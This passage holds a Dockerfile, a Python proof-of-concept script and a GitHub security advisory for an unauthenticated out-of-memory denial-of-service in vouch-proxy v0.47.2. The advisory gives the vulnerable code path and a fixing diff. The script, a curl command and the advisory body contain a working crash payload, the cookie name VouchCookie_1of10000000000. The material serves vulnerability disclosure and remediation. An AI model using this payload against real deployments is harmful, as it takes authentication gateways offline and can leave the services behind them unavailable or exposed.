-X main.semver=v0.47.2 \
-X main.branch=main" \
-o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
- vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/auth
EOF
EXPOSE 9090
ENTRYPOINT ["/vouch-proxy"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File: pkg/cookie/cookie.go:126
Attack summary
--------------
The multipart-cookie reassembly routine reads the total part count from the
attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
make([]string, N)
with no upper-bound check. The /validate endpoint is reachable without any
authentication, so a single HTTP request with N=10_000_000_000 forces the
Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
runtime: out of memory: cannot allocate ...
and crashes the server process (Go fatal, exit 2).
Usage
-----
Run from the repo root (or any directory; paths are absolute):
python3 poc.py [--image IMAGE] [--port PORT] [--parts N]
Defaults:
IMAGE = vouch-vuln001
PORT = 9090
PARTS = 10000000000 (10 billion -> ~160 GB allocation request)
"""
import argparse
import http.client
import json
import subprocess
import sys
import time
# ──────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────
DEFAULT_IMAGE = "vouch-vuln001"
DEFAULT_PORT = 19090 # host port; container always uses 9090 internally
DEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000)
CONTAINER_NAME = "vouch-vuln001-poc"
STARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen
READY_POLL_S = 1.0
# ──────────────────────────────────────────────────────────
# Helpers
# ──────────────────────────────────────────────────────────
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""Run a subprocess and return the CompletedProcess."""
print(f"[cmd] {' '.join(cmd)}")
return subprocess.run(cmd, **kwargs)
def cleanup(name: str) -> None:
"""Remove an existing container by name, ignoring errors."""
subprocess.run(
["docker", "rm", "-f", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
def wait_for_server(host: str, port: int, timeout: float) -> bool:
"""Poll GET /validate until we get any response (even 401/302) or timeout."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
conn = http.client.HTTPConnection(host, port, timeout=2)
conn.request("GET", "/validate")
resp = conn.getresponse()
# Any HTTP response means the server is up.
print(f"[ready] server responded: HTTP {resp.status}")
conn.close()
return True
except OSError:
pass
time.sleep(READY_POLL_S)
return False
def container_running(name: str) -> bool:
"""Return True if the named container is still running."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.Running}}", name],
capture_output=True, text=True,
)
return r.returncode == 0 and r.stdout.strip() == "true"
def container_exit_code(name: str) -> int | None:
"""Return the exit code of a stopped container, or None if unknown."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
capture_output=True, text=True,
)
if r.returncode == 0:
try:
return int(r.stdout.strip())
except ValueError:
pass
return None
def container_oom(name: str) -> bool:
"""Return True if the container was OOM-killed."""
r = subprocess.run(
["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
capture_output=True, text=True,
)
return r.returncode == 0 and r.stdout.strip() == "true"
def get_logs(name: str) -> str:
"""Retrieve stdout+stderr from the container."""
r = subprocess.run(
["docker", "logs", name],
capture_output=True, text=True,
)
return (r.stdout + r.stderr).strip()
# ──────────────────────────────────────────────────────────
# Main
# ──────────────────────────────────────────────────────────
def main() -> None:
parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name")
parser.add_argument("--port", default=DEFAULT_PORT, type=int)
parser.add_argument("--parts", default=DEFAULT_PARTS, type=int,
help="N in VouchCookie_1ofN (drives allocation size)")
args = parser.parse_args()
host = "127.0.0.1"
port = args.port
image = args.image
num_parts = args.parts
cookie_val = f"VouchCookie_1of{num_parts}"
print("=" * 60)
print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS")
print("=" * 60)
print(f" Image : {image}")
print(f" Target : http://{host}:{port}/validate")
print(f" Cookie : {cookie_val}=x")
print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
print()
# 1. Clean up any leftover container.
cleanup(CONTAINER_NAME)
# 2. Start the vouch-proxy container.
# Memory is uncapped at the Docker level; the Go runtime itself will
# fail the mmap when the host cannot honor the 160 GB request
# (overcommit heuristic or insufficient address space).
run_cmd = [
"docker", "run", "-d", # no --rm so logs survive after crash
"--name", CONTAINER_NAME,
"-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally
image,
]
r = run(run_cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[FAIL] docker run failed:\n{r.stderr}")
sys.exit(1)
container_id = r.stdout.strip()
print(f"[info] container started: {container_id[:12]}")
# 3. Wait for the HTTP server to accept connections.
print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
if not ready:
logs = get_logs(CONTAINER_NAME)
print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
print("[logs]", logs[-2000:])
cleanup(CONTAINER_NAME)
sys.exit(1)
# 4. Send the malicious request.
print()
print("[attack] Sending malicious cookie to /validate ...")
request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
print(f"[attack] {request_line}")
print()
try:
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request(
"GET", "/validate",
headers={
"Host": "app.example.com",
"Cookie": f"{cookie_val}=x",
},
)
# The server might crash before sending a response.
try:
resp = conn.getresponse()
body = resp.read(512).decode("utf-8", errors="replace")
print(f"[info] got HTTP {resp.status}: {body[:200]}")
except Exception as e:
print(f"[info] connection broken mid-response (expected): {e}")
conn.close()
except Exception as e:
print(f"[info] request exception (expected if server crashed): {e}")
# 5. Give the container a moment to record its exit state.
time.sleep(2)
# 6. Collect evidence.
still_running = container_running(CONTAINER_NAME)
exit_code = container_exit_code(CONTAINER_NAME)
oom_killed = container_oom(CONTAINER_NAME)
logs = get_logs(CONTAINER_NAME)
print("─" * 60)
print("[evidence] Container still running :", still_running)
print("[evidence] Container exit code :", exit_code)
print("[evidence] OOM-killed flag :", oom_killed)
print()
print("[logs] (last 3000 chars of container stdout+stderr):")
print(logs[-3000:] if logs else "(empty)")
print("─" * 60)
# 7. Verdict
#
# Evidence of exploitation (any one suffices):
# (a) Container exited (not still running) after the malicious request.
# (b) Exit code == 2 (Go runtime fatal: out of memory).
# (c) OOMKilled == true (kernel OOM killer fired).
# (d) Logs contain "out of memory" or "runtime: fatal".
crashed = not still_running
go_panic = exit_code == 2
oom_kill = oom_killed
log_oom = (
"out of memory" in logs.lower()
or "runtime: fatal" in logs.lower()
or "cannot allocate" in logs.lower()
)
passed = crashed and (go_panic or oom_kill or log_oom)
print()
if passed:
print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
# Extract the key OOM line from logs.
oom_lines = [
ln for ln in logs.splitlines()
if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
]
evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
else:
print("[FAIL] Could not confirm crash. See logs above for details.")
evidence = logs[-500:] if logs else "(no logs)"
print()
result = {
"passed": passed,
"verdict": "PASS" if passed else "FAIL",
"reason": (
"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
if passed else
"컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고"
),
"build_command": (
"docker build -f vuln-001/Dockerfile "
"-t vouch-vuln001 "
"repo"
),
"run_command": (
f"docker run --rm -d --name {CONTAINER_NAME} "
f"-p {port}:9090 {image}"
),
"poc_command": (
f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
),
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = (
"reports/pypiAi_450_vouch__vouch-proxy"
"/vuln-001/phase2_result.json"
)
with open(result_path, "w") as fh:
json.dump(result, fh, indent=2, ensure_ascii=False)
print(f"[saved] {result_path}")
# 8. Cleanup.
cleanup(CONTAINER_NAME)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.47.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/vouch/vouch-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.48.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55149"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:26:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of\u003cN\u003e`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123\u2013130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n }\n cookieParts = make([]string, numParts) // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 \u00d7 16 bytes \u2248 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` \u2014 `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` \u2014 `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` \u2014 `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` \u2014 `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` \u2014 cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` \u2014 `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` \u2014 **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n- xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n- xyArray := strings.Split(xOFy, \"of\")\n+ xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+ partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+ if !ok || partStr == \"\" || totalStr == \"\" {\n+ return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+ }\n if numParts == -1 {\n- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+ if numParts, err = strconv.Atoi(totalStr); err != nil {\n return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n }\n+ if numParts \u003c 1 || numParts \u003e maxCookieParts {\n+ return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+ }\n cookieParts = make([]string, numParts)\n }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t vouch-vuln001 \\\n repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n -H \u0027Host: app.example.com\u0027 \\\n -H \u0027Cookie: VouchCookie_1of10000000000=x\u0027\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n logLevel: info\n listen: 0.0.0.0\n port: 9090\n domains:\n - vouch.github.io\noauth:\n provider: indieauth\n client_id: http://vouch.github.io\n auth_url: https://indielogin.com/auth\n callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 \u2014 Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of\u003cHUGE\u003e=x\n# -\u003e cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n# -\u003e make([]string, \u003cHUGE\u003e) triggers an immediate OOM fatal in the Go runtime\n# -\u003e Server process crashes; no authentication required\n#\n# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n go build -v \\\n -ldflags=\"-s -w \\\n -X main.version=b683f60 \\\n -X main.uname=linux \\\n -X main.builddt=2024-01-01T00:00:00Z \\\n -X main.host=vuln-poc \\\n -X main.semver=v0.47.2 \\\n -X main.branch=main\" \\\n -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends ca-certificates \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config \u0026\u0026 cat \u003e /config/config.yml \u003c\u003c \u0027EOF\u0027\nvouch:\n logLevel: info\n listen: 0.0.0.0\n port: 9090\n domains:\n - vouch.github.io\noauth:\n provider: indieauth\n client_id: http://vouch.github.io\n auth_url: https://indielogin.com/auth\n callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile: pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of\u003cN\u003e) and calls\n make([]string, N)\nwith no upper-bound check. The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n IMAGE = vouch-vuln001\n PORT = 9090\n PARTS = 10000000000 (10 billion -\u003e ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Configuration\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nDEFAULT_IMAGE = \"vouch-vuln001\"\nDEFAULT_PORT = 19090 # host port; container always uses 9090 internally\nDEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen\nREADY_POLL_S = 1.0\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Helpers\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n print(f\"[cmd] {\u0027 \u0027.join(cmd)}\")\n return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -\u003e None:\n \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n subprocess.run(\n [\"docker\", \"rm\", \"-f\", name],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -\u003e bool:\n \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n conn = http.client.HTTPConnection(host, port, timeout=2)\n conn.request(\"GET\", \"/validate\")\n resp = conn.getresponse()\n # Any HTTP response means the server is up.\n print(f\"[ready] server responded: HTTP {resp.status}\")\n conn.close()\n return True\n except OSError:\n pass\n time.sleep(READY_POLL_S)\n return False\n\n\ndef container_running(name: str) -\u003e bool:\n \"\"\"Return True if the named container is still running.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n capture_output=True, text=True,\n )\n return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -\u003e int | None:\n \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n capture_output=True, text=True,\n )\n if r.returncode == 0:\n try:\n return int(r.stdout.strip())\n except ValueError:\n pass\n return None\n\n\ndef container_oom(name: str) -\u003e bool:\n \"\"\"Return True if the container was OOM-killed.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n capture_output=True, text=True,\n )\n return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef get_logs(name: str) -\u003e str:\n \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n r = subprocess.run(\n [\"docker\", \"logs\", name],\n capture_output=True, text=True,\n )\n return (r.stdout + r.stderr).strip()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Main\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n parser.add_argument(\"--image\", default=DEFAULT_IMAGE, help=\"Docker image name\")\n parser.add_argument(\"--port\", default=DEFAULT_PORT, type=int)\n parser.add_argument(\"--parts\", default=DEFAULT_PARTS, type=int,\n help=\"N in VouchCookie_1ofN (drives allocation size)\")\n args = parser.parse_args()\n\n host = \"127.0.0.1\"\n port = args.port\n image = args.image\n num_parts = args.parts\n cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC \u2014 Unbounded Multipart Cookie Allocation DoS\")\n print(\"=\" * 60)\n print(f\" Image : {image}\")\n print(f\" Target : http://{host}:{port}/validate\")\n print(f\" Cookie : {cookie_val}=x\")\n print(f\" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n print()\n\n # 1. Clean up any leftover container.\n cleanup(CONTAINER_NAME)\n\n # 2. Start the vouch-proxy container.\n # Memory is uncapped at the Docker level; the Go runtime itself will\n # fail the mmap when the host cannot honor the 160 GB request\n # (overcommit heuristic or insufficient address space).\n run_cmd = [\n \"docker\", \"run\", \"-d\", # no --rm so logs survive after crash\n \"--name\", CONTAINER_NAME,\n \"-p\", f\"{port}:9090\", # host:container \u2014 vouch-proxy always binds :9090 internally\n image,\n ]\n r = run(run_cmd, capture_output=True, text=True)\n if r.returncode != 0:\n print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n sys.exit(1)\n container_id = r.stdout.strip()\n print(f\"[info] container started: {container_id[:12]}\")\n\n # 3. Wait for the HTTP server to accept connections.\n print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n if not ready:\n logs = get_logs(CONTAINER_NAME)\n print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n print(\"[logs]\", logs[-2000:])\n cleanup(CONTAINER_NAME)\n sys.exit(1)\n\n # 4. Send the malicious request.\n print()\n print(\"[attack] Sending malicious cookie to /validate ...\")\n request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n print(f\"[attack] {request_line}\")\n print()\n\n try:\n conn = http.client.HTTPConnection(host, port, timeout=10)\n conn.request(\n \"GET\", \"/validate\",\n headers={\n \"Host\": \"app.example.com\",\n \"Cookie\": f\"{cookie_val}=x\",\n },\n )\n # The server might crash before sending a response.\n try:\n resp = conn.getresponse()\n body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n except Exception as e:\n print(f\"[info] connection broken mid-response (expected): {e}\")\n conn.close()\n except Exception as e:\n print(f\"[info] request exception (expected if server crashed): {e}\")\n\n # 5. Give the container a moment to record its exit state.\n time.sleep(2)\n\n # 6. Collect evidence.\n still_running = container_running(CONTAINER_NAME)\n exit_code = container_exit_code(CONTAINER_NAME)\n oom_killed = container_oom(CONTAINER_NAME)\n logs = get_logs(CONTAINER_NAME)\n\n print(\"\u2500\" * 60)\n print(\"[evidence] Container still running :\", still_running)\n print(\"[evidence] Container exit code :\", exit_code)\n print(\"[evidence] OOM-killed flag :\", oom_killed)\n print()\n print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n print(logs[-3000:] if logs else \"(empty)\")\n print(\"\u2500\" * 60)\n\n # 7. Verdict\n #\n # Evidence of exploitation (any one suffices):\n # (a) Container exited (not still running) after the malicious request.\n # (b) Exit code == 2 (Go runtime fatal: out of memory).\n # (c) OOMKilled == true (kernel OOM killer fired).\n # (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n crashed = not still_running\n go_panic = exit_code == 2\n oom_kill = oom_killed\n log_oom = (\n \"out of memory\" in logs.lower()\n or \"runtime: fatal\" in logs.lower()\n or \"cannot allocate\" in logs.lower()\n )\n\n passed = crashed and (go_panic or oom_kill or log_oom)\n\n print()\n if passed:\n print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n # Extract the key OOM line from logs.\n oom_lines = [\n ln for ln in logs.splitlines()\n if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n ]\n evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n else:\n print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n evidence = logs[-500:] if logs else \"(no logs)\"\n\n print()\n result = {\n \"passed\": passed,\n \"verdict\": \"PASS\" if passed else \"FAIL\",\n \"reason\": (\n \"\ub2e8\uc77c \ube44\uc778\uc99d HTTP \uc694\uccad\uc73c\ub85c \uc11c\ubc84 \ud504\ub85c\uc138\uc2a4\ub97c OOM \ucda9\ub3cc\uc2dc\ud0a4\ub294 \ucde8\uc57d\uc810 \uc7ac\ud604 \uc131\uacf5\"\n if passed else\n \"\ucee8\ud14c\uc774\ub108 \ucda9\ub3cc\uc744 \ud655\uc778\ud560 \uc218 \uc5c6\uc74c \u2014 \ub85c\uadf8 \ubc0f \uc885\ub8cc \ucf54\ub4dc \ucc38\uace0\"\n ),\n \"build_command\": (\n \"docker build -f vuln-001/Dockerfile \"\n \"-t vouch-vuln001 \"\n \"repo\"\n ),\n \"run_command\": (\n f\"docker run --rm -d --name {CONTAINER_NAME} \"\n f\"-p {port}:9090 {image}\"\n ),\n \"poc_command\": (\n f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n ),\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n\n result_path = (\n \"reports/pypiAi_450_vouch__vouch-proxy\"\n \"/vuln-001/phase2_result.json\"\n )\n with open(result_path, \"w\") as fh:\n json.dump(result, fh, indent=2, ensure_ascii=False)\n print(f\"[saved] {result_path}\")\n\n # 8. Cleanup.\n cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-qqff-5854-px68",
"modified": "2026-08-20T17:26:39Z",
"published": "2026-08-20T17:26:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vouch/vouch-proxy/security/advisories/GHSA-qqff-5854-px68"
},
{
"type": "WEB",
